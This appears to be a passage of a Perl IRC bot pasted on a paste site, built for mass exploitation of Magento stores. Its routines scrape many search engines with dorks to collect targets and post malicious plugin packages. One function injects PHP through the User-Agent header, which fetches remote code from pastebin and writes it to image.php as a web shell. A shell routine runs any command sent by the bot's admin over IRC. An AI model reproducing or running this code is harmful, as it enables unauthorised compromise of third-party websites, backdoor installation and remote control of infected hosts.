  559.     my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  560.     $ua->timeout(120);
  561.     $ua->agent($uagent);
  562.     my $req = HTTP::Request->new(GET => $url);
  563.     my $res = $ua->request($req);
  564.     if ($res->is_success) { return $res->decoded_content; }
  565.     else { return $res->status_line; }
  566. }  
  567. sub mage1_query() {
  568.     my $url = $_[0];
  569.     my $ua  = LWP::UserAgent->new(agent => $uagent);
  570.     $ua->timeout(120);
  571.     my $req = $ua->post($url,Content_Type=>'multipart/form-data',Content=>["plugin_package"=>["$mag_plugins"]]);
  572.     return $req->content;
  573. }
  574. sub mage2_query() {
  575.     my $url = $_[0];
  576.     my $ua  = LWP::UserAgent->new(agent => $uagent);
  577.     $ua->timeout(120);
  578.     my $req = $ua->post($url,Content_Type=>'multipart/form-data',Content=>["magmi_package"=>["$mag_package"]]);
  579.     return $req->content;
  580. }
  581. sub mage_lfi() {
  582.     my $url = $_[0];
  583.     my $cmd = "MrShahab<?php $x = file_get_contents('http://pastebin.com/raw.php?i=AEbhJNFL');$xx = fopen('../../image.php','w');fwrite($xx,$x);fclose($xx);?>";
  584.     my $ua = LWP::UserAgent->new(agent => $cmd);
  585.     $ua->timeout(120);
  586.     my $req = $ua->get($url);
  587.     return $req->content;
  588. }
  589. ######################################### SEARCH ENGINE
  590. sub google() {
  591.     my @list;
  592.     my $key = $_[0];
  593.     my $num = 10; my $max = 1000; my $p; my $token;
  594.     my $go  = "http://www.google.com/search?q=".&key($key)."&filter=0&start=".$p;
  595.     my $gl = &get_content($go);
  596.     while ($gl =~ m/href=\"\/search?q=(.*?);ei=(.*?)&amp;start=(.*?)\" id=\"pnnext\"/g){ my $token = $2;}
  597.     for ($p=10; $p<=$max; $p+=$num){
  598.         my $search = "http://www.google.com/search?q=".&key($key)."&ei=".$token."&start=".$p."&sa=N&filter=0";
  599.         my $res = &get_content($search);
  600.         while ($res =~ m/<h3 class=\"r\"><a href=\"(.*?):\/\/(.*?)\"/g) {
  601.             my $link = $2;
  602.             if ($link !~ /google|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){ my @grep = &links($link); push(@list,@grep); }
  603.         }
  604.         } return @list;
  605.     }      
  606.     sub google2() {
  607.         my @list;
  608.         my $key = $_[0];
  609.         my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  610.         my $num = 10; my $max = 1000; my $p; my $token;
  611.         my $go  = "http://www.google.com/search?q=".&key($key)."&filter=0&start=".$p;
  612.         my $gl = &get_content($go);
  613.         while ($gl =~ m/href=\"\/search?q=(.*?);ei=(.*?)&amp;start=(.*?)\" id=\"pnnext\"/g){ my $token = $2;}
  614.         foreach my $domain (@doms) {
  615.             $dom = $doms[rand(scalar(@doms))];
  616.             for ($p=10; $p<=$max; $p+=$num) {
  617.                 my $search = "http://www.google.".$dom."/search?q=".&key($key)."&ei=".$token."&start=".$p."&sa=N&filter=0";
  618.                 my $res = &get_content($search);
  619.                 while ($res =~ m/<h3 class=\"r\"><a href=\"(.*?):\/\/(.*?)\"/g) {
  620.                     if ($2 !~ /google|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  621.                         my $link = $2;
  622.                         my @grep = &links($link);
  623.                         push(@list,@grep);
  624.                     }
  625.                 }
  626.                 } return @list;
  627.             }
  628.         }
  629.         sub gproxy() {
  630.             my @list;
  631.             my $key = $_[0];
  632.             my @doms = ("com","ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  633.             my $num = 10; my $max = 1000; my $p; my $token;
  634.             my $go  = "http://www.google.com/search?q=".&key($key)."&filter=0&start=".$p;
  635.             my $gl = &get_content($go);
  636.             while ($gl =~ m/href=\"\/search?q=(.*?);ei=(.*?)&amp;start=(.*?)\" id=\"pnnext\"/g){ my $token = $2;}
  637.             foreach my $domain (@doms) {
  638.                 $dom = $doms[rand(scalar(@doms))];
  639.                 for ($p=10; $p<=$max; $p+=$num) {
  640.                     my $search = $poksai."http://www.google.".$dom."/search?q=".&key($key)."&ei=".$token."&start=".$p."&sa=N&filter=0";
  641.                     my $res = &get_content($search);
  642.                     while ($res =~ m/<h3 class=\"r\"><a href=\"(.*?):\/\/(.*?)\"/g) {
  643.                         if ($2 !~ /google|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  644.                             my $link = $2;
  645.                             my @grep = &links($link);
  646.                             push(@list,@grep);
  647.                         }
  648.                     }
  649.                     } return @list;
  650.                 }
  651.             }
  652.             sub walla() {
  653.                 my @list;
  654.                 my $key = $_[0];
  655.                 my $num = 1; my $max = 100; my $p;
  656.                 for ($p=1; $p<=$max; $p+=$num) {
  657.                     my $search = "http://search.walla.co.il/?q=".&key($key)."&type=text&page=".$p;
  658.                     my $res = &get_content($search);
  659.                     while ($res =~ m/<h1><a href=\"(.*?):\/\/(.*?)\"/g) {
  660.                         my $link = $2;
  661.                         if ($link !~ /walla.co.il|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  662.                             my @grep = &links($link);
  663.                             push(@list,@grep);
  664.                         }
  665.                     }
  666.                 }
  667.                 return @list;
  668.             }
  669.             sub ask() {
  670.                 my @list;
  671.                 my $key = $_[0];
  672.                 my $num = 1; my $max = 100; my $p; my $token1; my $token2;
  673.                 my $go  = "http://www.ask.com/web?q=".&key($key)."&page=".$p."&o=0&l=dir&qo=pagination";
  674.                 my $gl = &get_content($go);
  675.                 while ($gl =~ m/<a class=\"pagination-number-link\" href=\"(.*?)qid=(.*?)&(.*?)&qsrc=(.*?)&(.*?)\">/g){ my $token1 = $2; my $token2 = $4;}
  676.                 for ($p=1; $p<=$max; $p+=$num) {
  677.                     my $search = "http://www.ask.com/web?q=".&key($key)."&page=".$p."&qid=".$token1."&o=0&l=dir&qsrc=".$token2."&qo=pagination";
  678.                     my $res = &get_content($search);
  679.                     while ($res =~ m/href=\"(.*?):\/\/(.*?)\" onmousedown=/g) {
  680.                         my $link = $2;
  681.                         if ($link !~ /ask.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  682.                             my @grep = &links($link);
  683.                             push(@list,@grep);
  684.                         }
  685.                     }
  686.                 }
  687.                 return @list;
  688.             }
  689.             sub ask2() {
  690.                 my @list;
  691.                 my $key = $_[0];
  692.                 my @doms = ("de","it","fr","es","ru","nl","uk","br","pl","au","at","jp","se","mx","no","dk");
  693.                 my $num = 1; my $max = 100; my $p; my $token1; my $token2;
  694.                 my $go  = "http://www.ask.com/web?q=".&key($key)."&page=".$p."&o=0&l=dir&qo=pagination";
  695.                 my $gl = &get_content($go);
  696.                 while ($gl =~ m/<a class=\"pagination-number-link\" href=\"(.*?)qid=(.*?)&(.*?)&qsrc=(.*?)&(.*?)\">/g){ my $token1 = $2; my $token2 = $4;}
  697.                 foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  698.                     for ($p=1; $p<=$max; $p+=$num) {
  699.                         my $search = "http://".$dom.".ask.com/web?q=".&key($key)."&page=".$p."&qid=".$token1."&o=0&l=dir&qsrc=".$token2."&qo=pagination";
  700.                         my $res = &get_content($search);
  701.                         while ($res =~ m/href=\"(.*?):\/\/(.*?)\" onmousedown=/g) {
  702.                             if ($2 !~ /ask.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  703.                                 my $link = $2;
  704.                                 my @grep = &links($link);
  705.                                 push(@list,@grep);
  706.                             }
  707.                         }
  708.                         } return @list;
  709.                     }
  710.                 }
  711.                 sub clusty() {
  712.                     my @list;
  713.                     my $key = $_[0];
  714.                     my $num = 20; my $max = 200; my $p; my $token1; my $token2;
  715.                     my $go  = "http://new.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty-new&query=".&key($key);
  716.                     my $gl = &get_content($go);
  717.                     while ($gl =~ m/class=\"listmore\" href=\"(.*?)v%3afile=(.*?)&amp;sec=(.*?)&(.*?)\">/g){ my $token1 = $2; my $token2 = $3;}
  718.                     for ($p=20; $p<=$max; $p+=$num) {
  719.                         my $search = "http://new.yippy.com/search?v%3aproject=clusty-new&v%3afile=".$token1."&sec=".$token2."&query=".&key($key)."&v:state=root|root-".$p."-20|0&";
  720.                         my $res = &get_content($search);
  721.                         while ($res =~ m/<a class=\"opener\" href=\"(.*?):\/\/(.*?)\"/g) {
  722.                             my $link = $2;
  723.                             if ($1 !~ /yippy.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  724.                                 my @grep = &links($link);
  725.                                 push(@list,@grep);
  726.                             }
  727.                         }
  728.                     }
  729.                     return @list;
  730.                 }
  731.                 sub bing() {
  732.                     my @list;
  733.                     my $key = $_[0];
  734.                     my $num = 10; my $max = 1000; my $p;
  735.                     for (my $p=1; $p<=$max; $p+=$num) {
  736.                         my $search = "http://www.bing.com/search?q=".&key($key)."&qs=n&pq=".&key($key)."&sc=0-0&sp=-1&sk=&first=".$p;
  737.                         my $res = &get_content($search);
  738.                         while ($res =~ m/<h2><a href=\"(.*?):\/\/(.*?)\"/g) {
  739.                             my $link = $2;
  740.                             if ($link !~ /google.com|microsoft.com|live.com|msn.com|bing.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/) {
  741.                                 my @grep = &links($link);
  742.                                 push(@list,@grep);
  743.                             }
  744.                         }
  745.                     }
  746.                     return @list;
  747.                 }
  748.                 sub bing2() {
  749.                     my @list;
  750.                     my $key = $_[0];
  751.                     my @doms = ("de","uk","ca","br","fr","es","it","be","nl","pt","no","dk","se","ch","nz","ru","jp","cn","kr","mx","ar","cl","au");
  752.                     my $num = 10; my $max = 1000; my $p;
  753.                     foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  754.                         for (my $p=10; $p<=$max; $p+=$num) {
  755.                             my $search = "http://www.bing.com/search?q=".&key($key)."&qs=n&pq=".&key($key)."&sc=0-0&sp=-1&sk=&cc=".$p."&rf=1&qpvt=".&key($key)."&first=".$p;
  756.                             my $res = &get_content($search);
  757.                             while ($res =~ m/<h2><a href=\"(.*?):\/\/(.*?)\"/g) {
  758.                                 if ($2 !~ /google.com|microsoft.com|live.com|msn.com|bing.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  759.                                     my $link = $2;
  760.                                     my @grep = &links($link);
  761.                                     push(@list,@grep);
  762.                                 }
  763.                             }
  764.                             } return @list;
  765.                         }
  766.                     }
  767.                     sub bypass() {
  768.                         my @list;
  769.                         my $key = $_[0];
  770.                         my $num = 10; my $max = 1000; my $p;
  771.                         my $search = $bypass."?key=".&key($key)."&max=".$max;
  772.                         my $res = &get_content($search);
  773.                         while ($res =~ m/<h3 class=r>ambil :<a href=\"\/url?q=(.*?):\/\/(.*?)\">/g) {
  774.                             if ($link !~ /google|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  775.                                 my $link = $2;
  776.                                 my @grep = &links($link);
  777.                                 push(@list,@grep);
  778.                             }
  779.                         }
  780.                         return @list;
  781.                     }
  782.                     sub uol() {
  783.                         my @list;
  784.                         my $key = $_[0];
  785.                         my $num = 15; my $max = 1000; my $p;
  786.                         for ($p=15; $p<=$max; $p+=$num) {
  787.                             my $search = "http://busca.uol.com.br/web/?q=".&key($key)."&start=".$p;
  788.                             my $res = &get_content($search);
  789.                             while ($res =~ m/<dt><a href=\"(.*?):\/\/(.*?)\">/g) {
  790.                                 my $link = $2;
  791.                                 if ($link !~ /uol.com.br|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  792.                                     my @grep = &links($link);
  793.                                     push(@list,@grep);
  794.                                 }
  795.                             }
  796.                         }
  797.                         return @list;
  798.                     }
  799.                     sub seznam() {
  800.                         my @list;
  801.                         my $key = $_[0];
  802.                         my $num = 10; my $max = 1000; my $p; my $token;
  803.                         my $go  = "http://search.seznam.cz/?q=".&key($key)."&count=".$num."&from=".$num;
  804.                         my $gl = &get_content($go);
  805.                         while ($gl =~ m/<input type=\"hidden\" name=\"sId\" value=\"(.*?)\"/g){ my $token = $1; }
  806.                         for ($p=10; $p<=$max; $p+=$num) {
  807.                             my $search = "http://search.seznam.cz/?q=".&key($key)."&count=".$num."&pId=".$token."&from=".$p;
  808.                             my $res = &get_content($search);
  809.                             while ($res =~ m/id=\"modImgA-(.*?)\" href=\"(.*?):\/\/(.*?)\"/g) {
  810.                                 my $link = $3;
  811.                                 if ($link !~ /seznam.cz|sklik.cz|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  812.                                     my @grep = &links($link);
  813.                                     push(@list,@grep);
  814.                                 }
  815.                             }
  816.                         }
  817.                         return @list;
  818.                     }
  819.                     sub hotbot() {
  820.                         my @list;
  821.                         my $key = $_[0];
  822.                         my $num = 1; my $max = 100; my $p; my $token;
  823.                         my $go  = "http://www.hotbot.com/search/web?pn=".$num."&q=".&key($key);
  824.                         my $gl = &get_content($go);
  825.                         while ($gl =~ m/$('#keyvol').val('(.*?)');/g){ my $token = $1; }
  826.                         for ($p=1; $b<=$max; $p+=$num) {
  827.                             my $search = "http://www.hotbot.com/search/web?pn=".$p."&q=".&key($key)."&keyvol=".$token;
  828.                             my $res = &get_content($search);
  829.                             while ($res =~ m/<a href=\"(.*?):\/\/(.*?)\"/g) {
  830.                                 my $link = $2;
  831.                                 if ($link !~ /hotbot.com|lycos.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  832.                                     my @grep = &links($link);
  833.                                     push(@list,@grep);
  834.                                 }
  835.                             }
  836.                         }
  837.                         return @list;  
  838.                     }
  839.                     sub aol() {
  840.                         my @list;
  841.                         my $key = $_[0];
  842.                         my $num = 1; my $max = 100; my $p; my $token;
  843.                         my $go  = "http://search.aol.com/aol/search?enabled_terms=&s_it=comsearch&q=".&key($key);
  844.                         my $gl = &get_content($go);
  845.                         while ($gl =~ m/<a href=\"(.*?)oreq=(.*?)\"/g){ my $token = $1; }
  846.                         for ($p=1; $p<=$max; $p+=$num) {
  847.                             my $search = "http://search.aol.com/aol/search?page=".$p."&v_t=comsearch&enabled_terms=&q=".&key($key)."&s_it=comsearch&oreq=".$token;
  848.                             my $res = &get_content($search);
  849.                             while ($res =~ m/href=\"(.*?):\/\/(.*?)\" property=/g) {
  850.                                 my $link = $2;
  851.                                 if ($link !~ /aol.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  852.                                     my @grep = &links($link);
  853.                                     push(@list,@grep);
  854.                                 }
  855.                             }
  856.                         }
  857.                         return @list;
  858.                     }
  859.                     sub biglobe() {
  860.                         my $key = $_[0];
  861.                         my @list;
  862.                         my $num = 10; my $max = 1000; my $p;
  863.                         for ($p=10; $p<=$max; $p+=$num) {
  864.                             $num += $num;
  865.                             my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search_bl_top?start=".$p."&ie=utf8&num=".$num."&q=".&key($key)."&lr=all&maevy=2911";
  866.                             my $res = &get_content($search);
  867.                             while ( $res =~ m/<h3><a href=\"(.*?):\/\/(.*?)\"/g ) {
  868.                                 my $link = $2;
  869.                                 if ($link !~ /biglobe.ne.jp|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  870.                                     my @grep = &links($link);
  871.                                     push(@list,@grep);
  872.                                 }
  873.                             }
  874.                         }
  875.                         return @list;
  876.                     }
  877.                     sub lycos() {
  878.                         my @list;
  879.                         my $key = $_[0];
  880.                         my $num = 1; my $max = 100; my $p; my $token;
  881.                         my $go  = "http://search.lycos.com/web/?q=".&key($key)."&pn=".$num;
  882.                         my $gl = &get_content($go);
  883.                         while ($gl =~ m/$('#keyvol').val('(.*?)');/g){ my $token = $1; }
  884.                         for ($p=1; $b<=$max; $p+=$num) {
  885.                             my $search = "http://search.lycos.com/web/?q=".&key($key)."&keyvol=".$token."&pn=".$p;
  886.                             my $res = &get_content($search);
  887.                             while ($res =~ m/<span class=\"result-url\">(.*?)<\/span>/g) {
  888.                                 my $link = $1;
  889.                                 if ($link !~ /hotbot.com|lycos.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  890.                                     my @grep = &links($link);
  891.                                     push(@list,@grep);
  892.                                 }
  893.                             }
  894.                         }
  895.                         return @list;  
  896.                     }
  897.                     sub webde() {
  898.                         my @list;
  899.                         my $key = $_[0];
  900.                         my $num = 1; my $max = 100; my $p;
  901.                         for ($p=1; $p<=$max; $p+=$num) {
  902.                             my $search = "http://suche.web.de/web?q=".&key($key)."&pageIndex=".$p."&origin=serp_pag";
  903.                             my $res = &get_content($search);
  904.                             while ($res =~ m/<h3><a target=\"_blank\" href=\"(.*?):\/\/(.*?)\">/g) {
  905.                                 my $link = $2;
  906.                                 if ($link !~ /web.de|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  907.                                     my @grep = &links($link);
  908.                                     push(@list,@grep);
  909.                                 }
  910.                             }
  911.                         }
  912.                         return @list;
  913.                     }
  914.                     sub crawler() {
  915.                         my @list;
  916.                         my $key = $_[0];
  917.                         my $num = 10; my $max = 1000; my $p;
  918.                         for ($p=1; $p<=$max; $p+=$num) {
  919.                             my $search = "http://www.webcrawler.com/search/web?qsi=".$p."&q=".&key($key);
  920.                             my $res = &get_content($search);
  921.                             while ($res =~ m/<div class=\"resultDisplayUrl\">(.*?)<\/div>/g) {
  922.                                 my $link = $1;
  923.                                 if ($link !~ /webcrawler.com|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  924.                                     my @grep = &links($link);
  925.                                     push(@list,@grep);
  926.                                 }
  927.                             }
  928.                         }
  929.                         return @list;
  930.                     }
  931.                     sub dmoz() {
  932.                         my @list;
  933.                         my $key = $_[0];
  934.                         my $num = 20; my $max = 2000; my $p;
  935.                         for ($p=20; $p<=$max; $p+=$num) {
  936.                             my $search = "http://www.dmoz.org/search?q=".&key($key)."&start=".$p."&type=next&all=no&cat=";
  937.                             my $res = &get_content($search);
  938.                             while ($res =~ m/<li class=\"\"><a href=\"(.*?):\/\/(.*?)\">/g) {
  939.                                 my $link = $1;
  940.                                 if ($link !~ /dmoz.org|github.com|stackoverflow.com|stackexchange.com|magentocommerce.com|googlecode.com|sourceforge.net/){
  941.                                     my @grep = &links($link);
  942.                                     push(@list,@grep);
  943.                                 }
  944.                             }
  945.                         }
  946.                         return @list;
  947.                     }
  948. #########################################
  949. sub clean() {
  950.     my @cln = ();
  951.     my %visit = ();
  952.     foreach my $element (@_) {
  953.         $element =~ s/\/+/\//g;
  954.         next if $visit{$element}++;
  955.         push @cln, $element;
  956.     }
  957.     return @cln;
  958. }
  959. sub key() {
  960.     my $dork = $_[0];
  961.     $dork =~ s/ /\+/g;
  962.     $dork =~ s/:/\%3A/g;
  963.     $dork =~ s/\//\%2F/g;
  964.     $dork =~ s/\?/\%3F/g;
  965.     $dork =~ s/&/\%26/g;
  966.     $dork =~ s/\"/\%22/g;
  967.     $dork =~ s/,/\%2C/g;
  968.     $dork =~ s/\\/\%5C/g;
  969.     $dork =~ s/@/\%40/g;
  970.     $dork =~ s/\[/\%5B/g;
  971.     $dork =~ s/\]/\%5D/g;
  972.     $dork =~ s/\?/\%3F/g;
  973.     $dork =~ s/\=/\%3D/g;
  974.     $dork =~ s/\|/\%7C/g;
  975.     return $dork;
  976. }
  977. sub links() {
  978.     my @list;
  979.     my $link = $_[0];
  980.     my $host = $_[0];
  981.     my $hdir = $_[0];
  982.     $hdir =~ s/(.*)\/[^\/]*$/$1/;
  983.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  984.     $host .= "/";
  985.     $link .= "/";
  986.     $hdir .= "/";
  987.     $host =~ s/\/\//\//g;
  988.     $hdir =~ s/\/\//\//g;
  989.     $link =~ s/\/\//\//g;
  990.     push(@list,$hdir,$host);
  991.     return @list;
  992. }
  993. #sub searchs_engines_querys($) {
  994.     sub search_engine_query($) {
  995.         my $url = $_[0];
  996.         $url =~ s/(.*?):\/\///;
  997.         my $host = $url;
  998.         my $query = $url;
  999.         my $page  = "";
  1000.         $host =~ s/href=\"?(.*?):\/\///;
  1001.         $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1002.         $query =~ s/$host//;
  1003.         if ($query eq "") { $query = "/"; }
  1004.         eval {
  1005.             my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  1006.             print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
  1007.             my @pages = <$sock>;
  1008.             $page = "@pages";
  1009.             close($sock);
  1010.         };
  1011.         return $page;
  1012.     }
  1013. #########################################
  1014. sub shell() {
  1015.     my $path = $_[0];
  1016.     my $cmd = $_[1];
  1017.     if ($cmd =~ /cd (.*)/) {
  1018.         chdir("$1") || &msg("$path","No such file or directory");
  1019.         return;
  1020.     }
  1021.     elsif ($pid = fork) { waitpid($pid, 0); }
  1022.     else { if (fork) { exit; } else {
  1023.         my @output = `$cmd 2>&1 3>&1`;
  1024.         my $c = 0;
  1025.         foreach my $output (@output) {
  1026.             $c++;
  1027.             chop $output;
  1028.             &msg("$path","$output");
  1029.             if ($c == 5) { $c = 0; sleep 2; }
  1030.         }
  1031.         exit;
  1032.         }}
  1033.     }
  1034.     sub isAdmin() {
  1035.         my $status = 0;
  1036.         my $nick = $_[0];
  1037.         if ($nick eq $admin || $nick eq "ScanneD") { $status = 1; }
  1038.         return $status;
  1039.     }
  1040.     sub msg() {
  1041.         return unless $#_ == 1;
  1042.         sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  1043.     }
  1044.     sub nick() {
  1045.         return unless $#_ == 0;
  1046.         sendraw("NICK $_[0]");
  1047.     }
  1048.     sub notice() {
  1049.         return unless $#_ == 1;
  1050.         sendraw("NOTICE $_[0] :$_[1]");
  1051.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement